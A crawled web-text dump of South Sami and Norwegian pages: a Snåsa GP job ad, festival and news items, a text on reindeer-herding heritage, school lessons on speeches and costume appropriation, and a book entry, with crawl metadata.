er vide mot grensa til Sverige i øst hvor det også er store områder med status som nasjonalpark. Det er rike muligheter til friluftsliv, jakt og fiske. Kommunikasjonene er gode med vei og jernbane gjennom kommunen og det er ca. 2. timer til flyplass\/Værnes med bil.\nFastlege i Snåsa med 0-avtale eller fastlønn\nEn av våre leger går av med pensjon i mai 2022. Snåsa Kommune søker lege, 100 % fast i allmennpraksis med oppstart 01.06.22 eller så snart som mulig etter det tidspunktet.\nStillingen er lokalisert ved Snåsa Legekontor. Ved legekontoret er det 3,0 årsverk (inkl. denne) for fastlege og en turnuslege. Snåsa Legekontor eies og drives av Snåsa Kommune med hjelpepersonell, sykepleiere og helsesekretær, ansatt og lønnet av kommunen. Kommunen driver tjenesten og motsvarer størrelse av basistilskudd\/per capita-tilskudd.\nSnåsa Legekontor ble totalrenovert, påbygd og ombygd og sto ferdig med nyoppussede kontorer ca. 01.01.13.\nHjemmelen drives p.t. som privatpraksis med kommunal driftsavtale med listeansvar etter avtale. Listelengden for hjemmelen er på 700 pasienter. Det er til hjemmelen knyttet offentlige legearbeid som helsestasjonslege. Dersom det er ønskelig kan det forhandles med kommunen om fastlønnsavtale, eller fastlønn med insentiv.\nVi søker etter en spesialist i allmennmedisin eller lege som ønsker å starte spesialisering i allmennmedisin. For lege som ønsker å bli godkjent som spesialist i allmennmedisin vil kommunen legge forholdene til rette slik at utdanning kan skje på en hensiktsmessig måte. Utgifter til spesialisering i allmennmedisin skal fortrinnsvis søkes dekket av fond ifht sentral avtale (statsavtalen)\nSnåsa Kommune har avtale med Steinkjer Legevakt om interkommunal legevakt på kveld, natt og helg med obligatorisk deltagelse i vaktordningen. Vaktordningen er ca. 18 delt og utgjør ca. tre 12 timers vakter pr. mnd. Legevaktsamarbeidet er lokalisert på Steinkjer legevakt som er ca. 6 mil sørover. Daglegevakt i Snåsa er mellom 08.00-15.30 på hverdager og dekkes mellom kommunens leger.\nSøkere må være kvalifisert med norsk autorisasjon og det vektlegges faglig kompetanse, erfaring, personlig egnethet og gode samarbeidsevner.\nGode norskkunnskaper forutsettes.\nSøker må ha førerkort og kunne disponere egen bil i tjenesten.\nNærmere opplysninger om stillingen kan gis av ass.kommuneoverlege\/fastlege Magnus Tølløv Kjøbli tlf. 74138350 \/ 90799113 eller enhetsleder Familiesentralen Ragnhild Moum Agle tlf 74138200\/99583727\nSom tospråklig kommune ønsker Snåsa kommune også å rekruttere inn personer med sørsamisk språk og kulturkompetanse.\nFør tiltredelse i stillingen, må det framlegges ny politiattest i henhold til Helse- og omsorgstjeneste-lovens § 5-4, 1. ledd.\nSøknadsfrist 08.12.21","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.snasa.kommune.no\/tjenester\/ledige-stillinger\/fastlege-i-snasa-med-0-avtale-eller-fastlonn.11819.aspx","date":"2021-12-05T07:11:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363149.85\/warc\/CC-MAIN-20211205065810-20211205095810-00326.warc.gz","language":"sma","language_score":0.9482380152,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9482380151748657, \"sme_Latn_score\": 0.03278261423110962, \"nob_Latn_score\": 0.016819577664136887}","num_words":794,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":0.958,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19\/09\/2019 Anne Berit Anti Saemien lidteratuvrem nænnoste 5,1 millijovnh kråvnajgujmie Saemiedigkieraerie raereste 5,1 millijovnh kråvnah vielie budsjedteste 2020 nuhtjedh mah edtjieh produksjovnese jïh bievniemasse saemiengïeleldh lidteratuvrese juhtedh. Akte hijven saernie gaajhkide mijjese mah saemien lidteratuvrem lyjhkoeh, saemiedigkieraerie Henrik Olsen jeahta. You need to be connected to see this content. If you already have a subscription plan, click here to Login Otherwise, you need to purchase a subscription to see the contents. Shop","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/samimag.no\/sma\/saernieh-sma\/saemien-lidteratuvrem-naennoste-51-millijovnh-kravnajgujmie\/","date":"2022-05-24T19:17:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662573189.78\/warc\/CC-MAIN-20220524173011-20220524203011-00600.warc.gz","language":"sma","language_score":0.9972892404,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.99728924036026}","num_words":68,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaktjen Tjåanghkoe\n- åarjelsaemien tjaktjefestivaale\n- sørsamisk høstfestival\nSnåasesne mïetsken 25.-28.b. 2022\nSnåsa 25.-28. august 2022\nAktuelt\nBoelveste boelvese Fra slektsledd til slektsledd\nTïjje doekoe noeri ïedtje lea skreejrehtæjjine orreme jarkelidh jïh seabradahkem evtiedidh. Daan jaepien sïjhtebe dam aavoedidh jïh madtjeldehtedh orre jïh båeries noerh vaajmose goltelidh jïh vaajnoem nuhtjedh dïsse mij vihkele dutnjien!\n—\nUngdommens energi har gjennom alle tider vært en driver for endringer og samfunnsutvikling. I år vil vi feire dette og inspirere nye og gamle ungdommer til å lytte til hjertet og brenne for det som betyr noe for deg!\nSančuari daanhtsose spealede Sančuari spiller til dans\nGosse iehkedsbiejjie Snåasenjaevresne vååjnoe laavadahken mïetsken 27. b. mijjieh daanhtsose bööredibie Sančuarine ektine.\nGosse gaajhkesh joejkeminie jïh leah feesteaajmosne dellie badth daajra Sančuari lea scenesne.\n—–\nNår kveldssola speiles i Snåsavannet lørdag 27. august byr vi opp til dans sammen med Sančuari.\nHøy alljoik- og feststemning er et kjennetegn når Sančuari er på scenen.\nAgnete Tjaktjen Tjåanghkose Agnete til Tjaktjen Tjåanghkoe\nMijjieh aavoedibie Agnete Sabam åehpiedehtedh mij mijjen luvnie tjoejehte duarstan, mïetsken 25. b.\nTjaebpies melodijigujmie jïh mïrhke teekstigujmie, Agneten fååmijes gïele lea universem sjugniedamme gusnie artiste tjïelke jïh eerlege bieliem jïjtsistie vadta.\n—\nVi gleder oss over å presentere Agnete Saba som spiller hos oss torsdag 25. august.\nMed vakre melodier og mørke tekster har Agnetes kraftfulle stemme skapt et musikalsk univers der artisten viser en rå og ærlig side av seg selv.\nDaniel lea Tjaktjen Tjåanghkoen åvtehke Daniel skal lede Tjaktjen Tjåanghkoe\nSov dååjrehtimmine jeatjah festivaalijste dan lea håhkoe viehkine årrodh jeereldihkie jïh gamte kultuvresisvegem sjugniedidh. Dïhte aavode åarjelsaemien kultuvrefestivaalem sov hïejmevoenesne öörnedh, eevre orre museumegåetesne.\n—\nMed sin erfaring fra andre festivaler håper Daniel Steinfjell å kunne bidra til å skape en variasjon og bredde av kulturinnslag. Han ser frem til å arrangere en sørsamisk kulturfestival i hjembygda si, i et splitter nytt museumsbygg.\n– En målsetning er å virkelig ta i bruk det nye bygget og uteområdet, utforske potensialet i det og sammen skape gode opplevelser der.\nSørsamisk høstfestival på Snåsa\nTjaktjen Tjåanghkoe arrangeres annethvert år og setter fokus på sørsamisk språk og kultur. Festivalen har en god sammensetting av kulturelt og faglig innhold.\nFestivalen ble sist arrangert høsten 2019 med tema: «Gïele lea faamoe – Power of language», dette med utgangspunkt i FNs internasjonale år for urfolkspråk i 2019 og Sannhetskommisjonens arbeid.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/tjaktjen-tjaanghkoe.no\/","date":"2022-07-01T21:01:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103945490.54\/warc\/CC-MAIN-20220701185955-20220701215955-00422.warc.gz","language":"sma","language_score":0.8257581592,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.825758159160614, \"nob_Latn_score\": 0.14724324643611908, \"sme_Latn_score\": 0.02508627623319626}","num_words":371,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.04,"flagged_words_ratio":0.0,"lang_id_score":0.863,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bovtse lea seamma rahtjemelaajroeh nuhtjeme gellie stoerretjuetie jaepieh gaskem daelviegåatomelaantem sislaantesne jïh gijre- jïh giesiegåatomelaantem mearoen lïhke. Rahtjemelaajroej mietie gellie vijremesvaalkh gaavnebe gedtide. Daah kultuvremojhtesesåarhth leah dovne vijremesvaalkh jalkadahkesne jïh boerestahkh gierkijste jïh tjïekemesijjieh gierkieaavrojne jïh åårkine. Doh jeanatjommesh leah vaerine jïh doedterinie sislaantesne, bovtsen tjaktjegåatomelaantesne. Men aaj gaedtiebealan vööste gååvnesieh. Aervede vijremesvaalkh åtnasovvin gierkieaalteren raejeste gaskeaalteren raajan. Aajkoe gedtiebivtieminie lij dovne jïjtjebïerkenimmien jïh naehkieåesiestimmien gaavhtan kraannajgujmie.\nSeamma daajroeh bovtsen, gåatomen jïh klijman bïjre lea daerpies gosse edtja gedtieh bivtedh jïh låemties bovtsigujmie giehtelidh. Bovtse jïh gedtie leah seamma kreeke. Joekehtse lea man låemties kreeke lea. Bovtse deemeldahkesne. Dihte maahta gedtine vihth sjidtedh jis ij gaskesem utnieh almetjigujmie. Baakoe bovtse lea gellie stoerretjuetie jaepieh båeries jïh akte dejstie båarasommes baakojste mejtie damtebe saemien gielesne. Låemties bovtsh jïh gedtieh leah sån loevtlaaketjh saemien siebriedahkesne vyöseme guhkiem. Bovtsine lea almetjh jïh vaaroeh foeresjamme guhkies gåhkojne jïh gaajhkesåarhts daelhkine.\nGïele jïh aerpievuekien daajroe stoerre kulturelle sertemem vuesehte saemien bivtemesiebriedahken jïh båatsoesiebriedahken gaskem. Histovrijes gaaltijh 15- jïh 1600-låhkoste båatsoesaemiej bïjre soptsestieh Torne Lappmarkesne mah gedtiem vijrin båatsoesiebriedahken mieriej sisnjeli. Dah lin juhtijealmetjh mah mearoegaedtien gåajkoe nöörjenbielesne juhtin giesege gusnie bovtsem buhtjin. Dah mearoegaedtien gåajkoe juhtin gåatomen gaavhtan men aaj göölemen, kååbpebivtemen jïh åesiestimmien gaavhtan.\nAaj kultuvremojhtesh vuesehte saemieh desnie hööllestamme guhkiem. Sislaantesne gïejh gaavnebe almetjijstie mah seamma sijjesne orreme gellie stoerretjuetie jaepieh, kultuvremojhtesigujmie goh gööthsijjieh nuerebe gierkieaaltaristie jïh aareh metalleaejkeste jïh låavthgåetiesijjieh ruevtieaaltaristie jïh eevre daan raajan. Gaavnebe aaj nuerebe båatsoesaemien giedtiesijjieh dajvine vijremesvaalkigujmie.\nNuerebe ruevtieaalteren jïh gaskeaalteren vååjnoe goh gedtiebivtieminie orrijin jïh låemties bovtsigujmie eelkin. Sïejhmemes kultuvremojhtesesåarhte mij lea båatsose vïedteldihkie lea aernie. Derhviegåetieh åtnasovvin dejnie årromesijjine gusnie guhkemes hööllestin. Maahta tjïelkelaakan vuejnedh gåetieh desnie orreme. Låavthgåetieh åtnasovvin årromesijjine gusnie hööllestin såemies jaepieboelhki, jïh desnie gusnie lïegkedin mearan bovtsigujmie juhtin.\nAerniej leah joekehts stoeredahkh jïh hammoeh, sijjen kulturelle ektiedimmien, årromesijjien jïh aalteren mietie. Mijjieh dejtie båatsoesaemien gåatomedajvine gaavnebe sislaantesne jïh vaerine. Doh sijjieh gusnie låavthgåetieh utnin leah dehtie tïjjeste gosse aaltojde buhtjin giesege. Buhtjeme eevre 1900-låhkoen raajan ryöhki såemies lehkesne. Evtiedimmien gaavhtan 1900-låhkoen båatsoesaemieh eelkin guhkebe årrodh vaenebe sijjine. 1950-låhkoen raejeste fuelhkieh daamtajommes eelkin arrah-almetjinie årrodh dejnie sijjine gusnie lij bööremes årrodh.\nBåatsoesaemien årromesijjine maehtebe aernieh jïh gööthsijjieh gaavnedh, jïh sijjieh gusnie fievsiegåetieh gåetieh beapmojde, dållesijjieh ålkone, vuebnieh jïh våarhkoeh. Årromesijjine mah leah åtnosne orreme urrebe tïjjen raajan ovmessie buvrieh jïh sijhtieh maehtieh tjåadtjodh mah leah åtnasovveme gajhkesjæmman. Årromesijjien luvhtie maahta maaje båeries baalkah dåeriedidh gaaltiji gåajkoe, suejnie-tjuahpaj jïh buhtjemesijjiej gåajkoe. Daah buhtjemegïerth lin naa smaave jïh lin årromesijjiej lïhke. Mænngan buhtjieminie orriji dellie åtnose veeltin vaenebh jïh stuerebh giedtieh naan vihties sijjine.\nGoh kultuvremojhtesesåarhte giedtiej lin jienebh funksjovnh. Ovmessie giedtieh gusnie buhtjin, mïerhkesjin, leekedin jïh reerhkin. Boerestahkh bovtsem stuvrin giedtien sïjse. Gïerth leah åtnasovveme juktie bovtsem geerestidh olles gåabph vuelkieh jïh mastedh, jïh juhtemem stuvredh. Dovne gierkieh, staagkoeh jïh rijsieh leah giedtiesasse åtnasovveme.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/sametinget.no\/kultuvremojhtese-jih-gaetievaarjelimmie\/saemien-kultuvremojhtesh-jih-eatneme\/baatsoe-jih-bivtemelaante\/","date":"2022-08-17T22:21:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573118.26\/warc\/CC-MAIN-20220817213446-20220818003446-00789.warc.gz","language":"sma","language_score":0.9999911785,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999911785125732}","num_words":460,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dïhte klassiske håaleme-disposisjovne hijvenlaakan sjeahta dejtie tsiehkide gusnie tjoerebe ryöktesth jïh ræhpas mijjen mïelen åvteste argumenteradidh. Voestegh aamhtesem jallh dåeriesmoerem buerkiestibie, dan mænngan argumenteradibie mijjen vuajnoen åvteste.\nKlassiske håaleme-disposisjovne\nDïhte klassiske håaleme-disposisjovne hijvenlaakan sjeahta dejtie tsiehkide gusnie tjoerebe ryöktesth jïh ræhpas mijjen mïelen åvteste argumenteradidh, vuesiehtimmien gaavhtan aktene politihkeles digkiedimmesne. Voestegh aamhtesem jallh dåeriesmoerem buerkiestibie, dan mænngan argumenteradibie mijjen vuajnoen åvteste. Daennie såarhts håalemisnie gujht argumentasjovne stööremes sijjiem åådtje. Aaj feeste-håaleme edtja jaehkiehtidh. Man åvteste tjïelten åejvie byöroe garmerdimmiem åadtjodh? Man åvteste dan aelhkie reakeds-maanam iehtsedh? Feeste-håaleme lea dan såarhts gyhtjelassi bïjre. Dan åvteste maehtebe dam klassiske håaleme-disposisjovnem aaj feeste-håalemisnie nuhtjedh, tjoerebe ajve dam ånnetji tseahkan sjïehtedidh.\n- Aalkoe (exordium)\n- Aamhtese-buerkiestimmie, soptsese (narratio)\n- Argumentasjovne (argumentatio)\n- Galhkuve (peroratio) \"Argumentasjovne geehpes\"\nÅejvie-leavloe narratiose\nGuessieh aktene hïejesne, skyllemisnie jallh reakeds-sïelskesne maaje ohtje itjmiesvoetem sijhtieh, men uvtemes sjollehtimmiem. Dah joe sïemes reakeds-maana, provrese jallh skyllije-maana lea akte åajvoeh almetje – nov gujht raaktan dan åvteste dah leah feestese båateme!\nFeeste-håalemen sisvege lea dan åvteste uvtemes narratio, soptsese: Maam reakeds-maana dorjeme daan mearan jieliedisnie? Guktie dïhte læhkoes provkome sov iehtseles gaavnedi? Mah murreds smaave soptsesh vuesiehtieh skyllije-maana akte mavvas jïh vijsies noere?\nVuesiehtimmie goh argumeente\nMen jalhts histovrijh uvtemes edtjieh sjollehtidh, dah aaj fungeradieh – ovryöktesth – goh argumeenth. Dah leah tjïelke vuesiehtimmieh gaajhkide dejtie hijven jïjtsevoetide mijjieh almetjasse bïejebe, maam sïjhtebe earoehtidh. Dan åvteste maehtebe aaj jiehtedh feeste-håaleme akte argumentereeden teekste, argumentasjovne ajve hammoem åådtjeme mij tseahkan sjeahta.\nByjjes krïevenassh feeste-håalemasse\nFeeste-håalemidie såemies byjjes njoelkedassh gååvnesieh. Vuesiehtimmien gaavhtan dle iktesth sjeahta håalemem aelkedh aktine heelseginie. Doh vihkielommes guessieh nommine jallh tihtelinie neebnebe, jïh dïhte man vööste håaleme lea stuvreme, minngemes neebnebe. Feeste-håaleme aaj aktine jovkes-gaerine provresinie jallh heevehtæjjine orrije, jallh gulmh golme hurra.\nHåalemem bueriedidh\nJuktie håalemem bueriedidh maehtebe jarhpoedidh, garmerdidh jallh girmedh. Maehtebe vuesiehtimmien gaavhtan jiehtedh:\nGosse Åvla jeehti edtji Oslose vuelkedh dellie vïenhtimh jabjoeh sjïdteme. Dïhte, guhte oktegh lyjhkoe vaeresne årrodh. Jïh ij gåessie sïjhth gåabph vuelkedh jïh ij sijjiem lyjhkh gusnie jïjnjh almetjh.\nGåarede aaj lustesvoetem nuhtjedh. Jïh gosse föörhkedibie dellie hijven aajmoe sjædta. Men mujhtieh, vihkele lustesvoete tseahkan sjeahta.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ndla.no\/nb\/subject:1:a532138d-e16a-4046-a46e-bd5bc9487b8b\/topic:3:181662\/topic:2:182394\/resource:1:181596","date":"2022-08-11T11:24:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571284.54\/warc\/CC-MAIN-20220811103305-20220811133305-00229.warc.gz","language":"sma","language_score":0.9999918938,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999918937683105}","num_words":335,"character_repetition_ratio":0.074,"word_repetition_ratio":0.055,"special_characters_ratio":0.142,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Christina Henriksen lea Saemieraerien lïhtsege jïh aarebi lij saemiedigkietjirkije. Christina daam kronihkem tjeeli mænngan Siv Jensen Indijaanere-prinsessine gåårvedi.\nIndijaanere-prinsessah karnevaalesne − mij dåeriesmoere?\nVïjhte dåeriesmoerh indijaanere-gaarvoejgujmie Christina Henriksen, lïhtsege Saemieraereste lea håjnoes guktie Siv Jensen indijaanere-gaarvoem nuhtjie.\nHalloween lea geatskeneminie, jïh dagke datne bööredimmiem åådtjeme rovnedimmie-feestese. Guktie edtjh rovnedidh? Aellieh naakeninie kultuvrem rovnedh, daate mov voestes raerie.\nAellieh giehpedh naakenen kultuvrem akten rovnedimmie-gaarvose. Gaavnehth maam akt jeatjah, jïh aellieh darjoeh guktie finanse-minstere Siv Jensen darjoeji.\nAellieh rovnedh goh tjirkije akten åålmegasse jallh kultuvrese mij lea dïedtelgamme jïh laavseme orreme gellie tjuetie jaepieh.\n– Manne tuhtjem dïhte edtja lustesvoetem vuejnedh\" dovne Evtiedimmie-krirrien kommunikasjovne-raeriestæjja jïh lahtestimmie-sijjieh jiehtieh, dan åvteste NRK:se jeahtam manne båasarihks sjïdtim jïh skaamasjim finanse-ministeren feeste-gaarvoste.\nMubpieh jiehtieh daate akte ij-aamhtese.\nDaate dagke orre digkiedimmie dutnjien, men ij mijjese. Dïhte aajne mij lea orre lea aalkoe-almetji sjaavnjoe seahkarimmiem åadtjodh, tsåatskelesvoetem åådtje.\nMij raaktan dåeriesmoere, jeenjesh leah hov rovnedamme badtsigujmie, ååredæjja-måaladimmine jïh Hiawatha-gaarvojne polyesteristie eevre maanagïerte-aalteren raejeste?\nEdtjem dutnjien vïjhte fåantoeh vedtedh:\nDåeriesmoere akte:\nGosse dagkerh rovnedimmie-gaarvoeh tsaakah, dellie datne daej almetji kultuvrem jïh identiteetem giehpedh akten aarmoes stereotypijese.\nDaate vuesehte datne ih almetjidie seahkerh, jïh ih maahtoem utnieh daajroem vejtiestidh dovne histovrijen jïh dan sjyöhtehke siebriedahke-tsiehkien bïjre.\nSeammalaakan dejtie gaarvojde mah edtjieh saemien vaarjojne vååjnedh.\nDåeriesmoere göökte:\nGosse jïjtjemem gaptine feegrem, dellie dam darjoem dan åvteste gapta lea mov tjaebpemes vaarjoe, jïh dan åvteste manne mov maadtoem jïh dam kultuvrem garmerdem mestie leam akte bielie.\nIj leah guhkiem mænngan gellie saemieh idtjin sïjhth jallh maehtieh gaptam tsaekedh.\nGapta jïh gapta-rïesege soptsestieh gie manne leam, gubpede båatam jïh såemies aejkien vielie aaj.\nGosse naakenh maam akt gåårvedieh mah edtjieh saemien gaptine vååjnedh juktie lustesvoetem darjodh, maaje pleenteme stereotypijigujmie mah saemide utnieh goh akte aelhkie, soevene, gåffoeh jïh jovkehtje almetje, dellie ov-goh naaken munnjien tjalka.\nGapta aaj akte vihkeles voestes sïlle gellide saemide mah leah aalkeme sijjen identiteetem jïh kultuvrem bååstede vaeltedh gelliej jaepiej mænngan assimileradimmine jïh dïedtelgimmine åejvie-ladtjijste jïh stoerre-siebriedahkeste.\nGaptam vuejnedh giehpiedamme akten rovnedimmie-gaarvose, dovne sååjrehke jïh skaamehts domtoe. Gellie aalkoealmetje-kultuvrh leah annje håvhtadamme nåhkehtimmeste, gaskem jeatjah dan åvteste åejvieladtjh eah dejtie seahkerh jallh jååhkesjh dah gååvnesieh.\nDåeriesmoere golme:\nSeksuelle meadta aalkoealmetje-nyjsenæjjaj vööste lea akte itjmies dåeriesmoere.\nAalkoe-almetjh vielie vædtsoesvoetem dååjroeh goh nyjsenæjjah jienebe-låhkoste. Daate feerhmie seksuelle vædtsoesvoete, vædtsoesvoete lïhke fuelhkine, voelkehtimmie jïh bovvelimmie.\nJaepien 2015 Saminoren reektehtse vuesiehti saemien nyjsenæjjah, vielie goh jienebe-låhkoen nyjsenæjjah, leah vædtsoesvoetem jïh\/jallh seksuelle daaresjimmiem dååjreme.\nSeksuelle meadta aalkoealmetje-nyjsenæjjaj vööste lea akte itjmies dåeriesmoere. Gosse naakenh rovnedieh goh \"sexy Pocahontas\", dellie akte haeniehtimmie dej aalkoealmetje-nyjsenæjjaj vööste mah seksuelle vædtsoesvoetem dååjreme, mah leah båvvalgamme jallh dagke eah daejrieh gænnah gusnie fuelhkie lea. Jïh ij goh unnemes dle dïhte dam seksuelle meadtam aalkoealmetje-nyjsenæjjaj vööste jåarhka.\nDåeriesmoere njieljie:\nIj naan eksotihkeles kultuvre.\nMijjieh libie jielije almetjh, ibie naan eksotihkeles, antihke jallh gaarvanamme kultuvre. Mohawkh, navajoh, inuihth, maasajh jïh saemieh, mijjieh daelie jielieminie, jielije kultuvrine.\nDagkerh rovnedimmie-gaarvoeh, goh dïhte maam finanse-ministere tjaktje-feestesne sov barkijigujmie nuhtjie, leah meatan aalkoe-almetji kultuvrh giehpiedieh misse akt mij ij vielie gååvnesh.\nHævvi vienth ih leah vielie lïereme dan bïjre skuvlesne goh mijjieh, men ij læjhkan reaktoe sjïdth datne maahtah jïjtjedh rovnedidh goh mijjieh, ov-goh mijjieh limh heamture-gaagkoeh.\nDåeriesmoere vïjhte:\nAellieh voejhkelh tjïekh gellie tjuetie jaepieh dïedtelgimmine jïh daaresjimmine. Ih dån lyjhkh dïsse ussjedidh, men aalkoe-almetjh abpe veartenisnie, jaa nov amma gaajhkh aalko-ealmetjh, akte vaejvies histovrijem guedtieminie dïedtelgimmine, laavseminie jïh dovne aaj almetje-bovvestimmine.\nDan gaavhtan kultuvrh leah gaarvanamme, almetjh sijjen identiteetem nyöjhkeme, gïelh leah teehpesovveme, fuelhkieh juakadamme, jïh destie stoerre dåeriesmoerh siebriedahkesne sjïdteme.\nStatistihke gååvnese mij vuesehte aalkoe-almetji siebriedahkine lea vueliehkåbpoe jielede-aaltere, dah sprïjhtem jïh jeatjah geeruve-vierhtieh båajhtoehlaakan nuhtjieh jïh desnie vielie vædtsoesvoete goh jeatjah lehkesne. Ij leah dan åvteste mijjieh mijjen geenaj gaavhtan aktem stuerebe hillem utnebe dam åadtjodh, men akte illedahke destie maam leam bijjielisnie neebneme.\nGaajhke lea vïedteldihkie, jïh dellie ibie daarpesjh naakenh rovnedieh goh mijjieh juktie jïjtjemse vuesiehtidh feestesne jïh sosijaale meedijinie. Jïh aellieh aarmodh mijjem, mijjieh åajvahkommes hijvenlaakan bïerkenibie. Mijjieh annje daesnie.\nNåå, lustesvoetem vuajnah? Lustesvoete lea gujht stïeresne dïhte, men båajhtoeh åtnoe kultuvreste jïh seksuelle meadta aalkoealmetje-nyjsenæjjaj vööste eah leah lustesvoete.\nNuhtjh fantasijem, rovnedh goh mij akt jeatjah.\nVuartesjh kronihkem NRKen nedte-sæjrojne.\nBaakoeh\nSaemien\nDaaroen\nrovedimmie-feeste\nkarneval\ngiehpedidh\nredusere\nrovedimmie-gaarvoe\nkostyme\nlaavsedh\nlatterliggjøre\nEvtiedimmie-krirrie\nFRP\nbåasarihks sjïdtedh\nbli sjokkert\ntsåatskelesvoetem åadtjodh\nfå oppmerksomhet\nvejtiestidh\nsette seg inn i\ndaaresjimmie\novergrep\nseksuelle meadta\nseksuell urett\/seksualisering\nhaeniehtimmie\nhån\nvædtsoesvoete\nvold\ndïedtelgimmie\nundertrykking\ngeena\ngen\nilledahke\nresultat","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ndla.no\/nb\/subject:1:a532138d-e16a-4046-a46e-bd5bc9487b8b\/topic:3:181662\/topic:2:182394\/resource:5143c03f-775c-4837-9ba6-257843152fdc","date":"2022-08-11T11:57:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571284.54\/warc\/CC-MAIN-20220811103305-20220811133305-00293.warc.gz","language":"sma","language_score":0.9999992847,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999992847442627}","num_words":712,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n1971\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n104\nJaepiegærja jaepijste 1967–1970.\nSámi eallin - Sámi searvvi jahkkegirji båarasåbpoe gærja mesnie jeenjh guvvieh saemien vætnoste, saemien tjaalehtjimmiste jïh \"karveskurd\". Dannasinie gærja hijvenligke sjeahta vætnoefaagide. Gærjesne jeenjh artihkelh göölemen bïjre Ráisan ovtetje baelijste, båeries saemien steavhki jïh maadthskuvlen båatsoefaagen bïjre. Nils O. Kappfjell åarjelsaemiengïelesne saemien joejkemen bïjre tjaala jïh Ivar Guttorm jïjtsh åssjaldahkh soptseste tjaktjejieliemistie guevtielisnie. Gåabpegh aeriebadtje saemien tjaelemevuekesne tjaaleme, mij 1970-låhkoen aalkoevistie.\nJeatjah åålmehtimmieh, Nasjonalbiblioteekesne:","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ovttas.no\/sma\/girji_sameliv-samisk-selskaps-arbok","date":"2022-12-03T11:46:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710931.81\/warc\/CC-MAIN-20221203111902-20221203141902-00674.warc.gz","language":"sma","language_score":0.9999111891,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999111890792847}","num_words":79,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SVT Nyheter (saernieh) orre saemien saerniebieline aalka gusnie dïhte guvvie jarngesne.\nDaan biejjien SVT Saepmie öövre orre saemien saerniebieline svt.se:sne aalka. Gaajhkh vuesiehtimmieh vuesehte almetjh vaajtelieh saemien saernieh mobijlesne vuartasjidh. Daate orre saerniebielie telefovnine sjiehtieh guktie maahta åajva laakan saernieh seamma gusnie jïh gåessie lohkedh.\nSvt:n saemien redaksjovne SVT Saepmie gïehteleminie dej faaleldahkem dovne tv:sne jïh gaskeviermesne evtiedidh. Daan biejjien orre saemien saerniebielie- svt.se\/nyheter\/sapmi aalka, mij edtja relevaante jïh gïengelåbpoe journalistihkem saemide vedtedh, gusnie svihtjeles guvvie jarngesne.- Luste- jïh vihkeles domtoe aktem digitaale saerniefaaleldahkem saemide faaledh, desnie gusnie guvvieh jarngesne. Mijjen redaksjovnen ulmie gaajhkesh dovnesh edtjieh nööredh seamma jeenjem saemien saernieh vuartasjidh goh daaroengielesne. Daate dorje saemien goltelæjjah stuerebe faaleldahkem åadtjoeh, Linda Hermanssone jeahta, redaksjovneåejvie SVT Saepmesne.\nSVT Saepmie åejvieredaksjovnem Gironisnie åtna, barkijigujmie mah leah bïjre jarkan hïspesovveme, saernieprogrammem Oddasatine jåarhke Nöörjen NRK:ine jïh Såevmien YLE:ine. Redaksjovne dam ektiebarkoem Sveerjen Radijoven saemien redaksjovnine jåarhke. Mubpien boelhkese dle soejkesjeminie 18 orre programmh saernieprogrammh- 15 minuhth Saepmeste darjodh.\nDaelie dïhte saemien goltelæjjah gïengelåbpoe sisvegem åådtje gusnie dïhte guvvie jarngesne.\nDïhte orre saemien saerniebielie lea dennie SVT:n barkosne gusnie dovne unnebelåhkoegïelh edtja govlesovvedh jïh gusnie jeatjah programmh aaj.\n- I höst startar SVT det fördjupande programmet 15 minuter från Nyhetstecken. 